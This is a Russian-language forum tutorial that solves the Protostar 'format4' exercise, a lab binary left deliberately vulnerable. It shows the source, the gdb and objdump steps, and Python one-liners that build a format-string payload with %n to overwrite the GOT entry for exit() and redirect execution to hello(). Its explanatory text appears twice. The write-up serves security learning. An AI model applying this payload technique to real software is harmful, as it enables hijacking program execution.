Доброго времени суток кодбай. В предыдущей статье мы имели дело с глобальной переменной и контролируя данные приводили ее к конкретному значению. В этой статье мы познакомимся с одним методом перенаправления выполнения в процессе, который похож на метод перезаписи адреса возврата. Поехали…
Описание ExploitMe
format4 рассматривает один метод перенаправления выполнения в процессе.
подсказки:
Исходный код
Решение
Посмотри на исходный код данной нам программы. И так у нас есть главная функция main(), которая в свою очередь вызывает уязвимую функцию vuln(), так же у нас есть всё та же глобальная переменная target и мертвая функция, которая никогда не вызывается. Собственно задача состоит в том, чтобы вызвать эту самую мертвую функцию обозначенную как hello(). Приступим к решению.
Начнем всё так же с поиска нашей входной строки. А именно с определения местоположения входной строки в стеке.
Наша строка лежит четвертая по счету.
Теперь когда мы нашли нашу входную строку надо определится, что делать дальше. А дальше мы вернемся к исходному тексту данной программы и посмотрим еще раз на код.
В коде вроде как ничего нет, но бросается в глаза функция exit() которая определена в двух разных местах. В функции vuln() и в функции hello() она определена с нижним подчеркиванием.
И так в первую очередь нас интересует функция exit() которая вызывается в функции vuln().
Посмотрим на описание этой функции.
Функция exit() вызывает немедленное нормальное завершение программы. Значение параметра status задается вызывающим процессом. По соглашению, если значением параметра status является 0, то предполагается нормальное завершение программы. Ненулевое значение используется для указания ошибки, зависящей от реализации
Так же тут следует сказать, что функция exit() расположена сразу после функции printf(). И она вызывается сразу. Ситуация такая, если мы перезаписываем адрес возврата для функции vuln(), то функция exit() становится бесполезной. Следовательно нам надо перезаписать её. Перезаписывать будем адрес exit() в глобальной таблице смещений (GOT), чтобы в дальнейшем нам не нужно было угадывать правильное расположение адреса возврата в стеке из-за смещения.
Всё что надо знать, что GOT — это просто таблица адресов, находящихся в разделе данных. С помощью GOT, функции разделяемой библиотеки загружаются в динамически связанный двоичный файл ELF.
Теперь когда ситуация прояснилась найдем адрес функции exit() в глобальной таблице смещения (GOT).
Сделать это можно разными способами.
1 способ
2 способ, это то, что нам дали в подсказке
Таким образом мы можем получить адрес.
Дальше нам нужно записать все 4 байта функции exit() в записи GOT. Поэтому узнаем адрес для каждого байта.
Адреса получены
0x8049724
0x8049725
0x8049726
0x8049727
FF|FF|FF|FF -> 0x8049727|0x8049726|0x8049725|0x8049724
Используя эти адреса и символ форматирования %n попробуем записать байты в запись GOT.
Что нам и удалось. Теперь нам нужно узнать адрес функции hello(), так как именно этот адрес мы будем использовать при перезаписи функции exit() в GOT.
Адрес функции hello() получен — 0x080484b4. Теперь, как и в прошлый раз мы будем комбинировать спецификаторы формата %u и %n. Для того, чтобы записать конкретное значение. А именно нам надо записать адрес функции hello() в запись GOT функции exit(). А так же перед каждым адресом ячейки памяти добавим по четыре байта из 0x01. Чтобы обнулить перед записью, каждый байт в ячейке.
Нам остается лишь только вычислить значения, которые мы будем писать совместно со спецификатором %u.
Код эксплойта будет выглядить так.
Остается лишь только вычислить значения для адреса 0x080484b4 функции hello(). Делать это будем так же, как и в прошлый раз. Воспользуемся функцией для подсчета.
В аргумент to_write передаем значение которое хотим записать.
А мы хотим этот адрес 0x080484b4 , следовательно будут байты: 0xb4,0x84,0x04,0x08. А во второй аргумент изначальное значение которое мы записали. А записали мы значение 0x26262626. Поэтому передаем сюда значение 0x26 + 16. Шестнадцать это значение 0x01010101 по 4 байта для каждого адреса. Таким образом мы обнуляем, перед тем как записать. Дальше при подстановки значений в аргументы функции делаем так. Подставляем во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.
Вычислили значения 126, 208, 128, 260.
Совмещаем их со спецификатором %u. И тестируем наш эксплойт.
Отлично. Мы решили это задание можно переходить на следующий
Описание ExploitMe
format4 рассматривает один метод перенаправления выполнения в процессе.
подсказки:
- objdump -TR твой друг
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
Посмотри на исходный код данной нам программы. И так у нас есть главная функция main(), которая в свою очередь вызывает уязвимую функцию vuln(), так же у нас есть всё та же глобальная переменная target и мертвая функция, которая никогда не вызывается. Собственно задача состоит в том, чтобы вызвать эту самую мертвую функцию обозначенную как hello(). Приступим к решению.
Начнем всё так же с поиска нашей входной строки. А именно с определения местоположения входной строки в стеке.
Код:
python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format4
Наша строка лежит четвертая по счету.
Код:
python -c "print 'AAAA' + '%x.'*3 + '%x'" | ./format4
Теперь когда мы нашли нашу входную строку надо определится, что делать дальше. А дальше мы вернемся к исходному тексту данной программы и посмотрим еще раз на код.
В коде вроде как ничего нет, но бросается в глаза функция exit() которая определена в двух разных местах. В функции vuln() и в функции hello() она определена с нижним подчеркиванием.
И так в первую очередь нас интересует функция exit() которая вызывается в функции vuln().
Посмотрим на описание этой функции.
Функция exit() вызывает немедленное нормальное завершение программы. Значение параметра status задается вызывающим процессом. По соглашению, если значением параметра status является 0, то предполагается нормальное завершение программы. Ненулевое значение используется для указания ошибки, зависящей от реализации
Так же тут следует сказать, что функция exit() расположена сразу после функции printf(). И она вызывается сразу. Ситуация такая, если мы перезаписываем адрес возврата для функции vuln(), то функция exit() становится бесполезной. Следовательно нам надо перезаписать её. Перезаписывать будем адрес exit() в глобальной таблице смещений (GOT), чтобы в дальнейшем нам не нужно было угадывать правильное расположение адреса возврата в стеке из-за смещения.
Всё что надо знать, что GOT — это просто таблица адресов, находящихся в разделе данных. С помощью GOT, функции разделяемой библиотеки загружаются в динамически связанный двоичный файл ELF.
Теперь когда ситуация прояснилась найдем адрес функции exit() в глобальной таблице смещения (GOT).
Сделать это можно разными способами.
1 способ
Код:
gdb -q ./format4
disas vuln
x/i 0x80483ec
2 способ, это то, что нам дали в подсказке
Код:
objdump -TR ./format4
Таким образом мы можем получить адрес.
Дальше нам нужно записать все 4 байта функции exit() в записи GOT. Поэтому узнаем адрес для каждого байта.
Код:
gdb -q ./format4
x/b 0x08049724
Enter
Enter
Enter
Enter
Адреса получены
0x8049724
0x8049725
0x8049726
0x8049727
FF|FF|FF|FF -> 0x8049727|0x8049726|0x8049725|0x8049724
Используя эти адреса и символ форматирования %n попробуем записать байты в запись GOT.
Код:
python -c "from struct import pack; b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); print b1+b2+b3+b4 + '%x.'*3 + '%n%n%n%n'" > /tmp/exploit
Код:
gdb -q ./format4
run < /tmp/exploit
Что нам и удалось. Теперь нам нужно узнать адрес функции hello(), так как именно этот адрес мы будем использовать при перезаписи функции exit() в GOT.
Код:
disas hello
Адрес функции hello() получен — 0x080484b4. Теперь, как и в прошлый раз мы будем комбинировать спецификаторы формата %u и %n. Для того, чтобы записать конкретное значение. А именно нам надо записать адрес функции hello() в запись GOT функции exit(). А так же перед каждым адресом ячейки памяти добавим по четыре байта из 0x01. Чтобы обнулить перед записью, каждый байт в ячейке.
Нам остается лишь только вычислить значения, которые мы будем писать совместно со спецификатором %u.
Код эксплойта будет выглядить так.
Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%u%n%u%n%u%n%u%n'"
Остается лишь только вычислить значения для адреса 0x080484b4 функции hello(). Делать это будем так же, как и в прошлый раз. Воспользуемся функцией для подсчета.
Python:
def calculate(to_write, written):
to_write += 0x100
written %= 0x100
padding = (to_write - written) % 0x100
if padding < 10:
padding += 0x100
return padding
В аргумент to_write передаем значение которое хотим записать.
А мы хотим этот адрес 0x080484b4 , следовательно будут байты: 0xb4,0x84,0x04,0x08. А во второй аргумент изначальное значение которое мы записали. А записали мы значение 0x26262626. Поэтому передаем сюда значение 0x26 + 16. Шестнадцать это значение 0x01010101 по 4 байта для каждого адреса. Таким образом мы обнуляем, перед тем как записать. Дальше при подстановки значений в аргументы функции делаем так. Подставляем во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.
Вычислили значения 126, 208, 128, 260.
Совмещаем их со спецификатором %u. И тестируем наш эксплойт.
Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4
Отлично. Мы решили это задание можно переходить на следующий
Ссылка скрыта от гостей
. В следующей статье мы познакомимся с новой уязвимостью — Heap Overflow.
Последнее редактирование: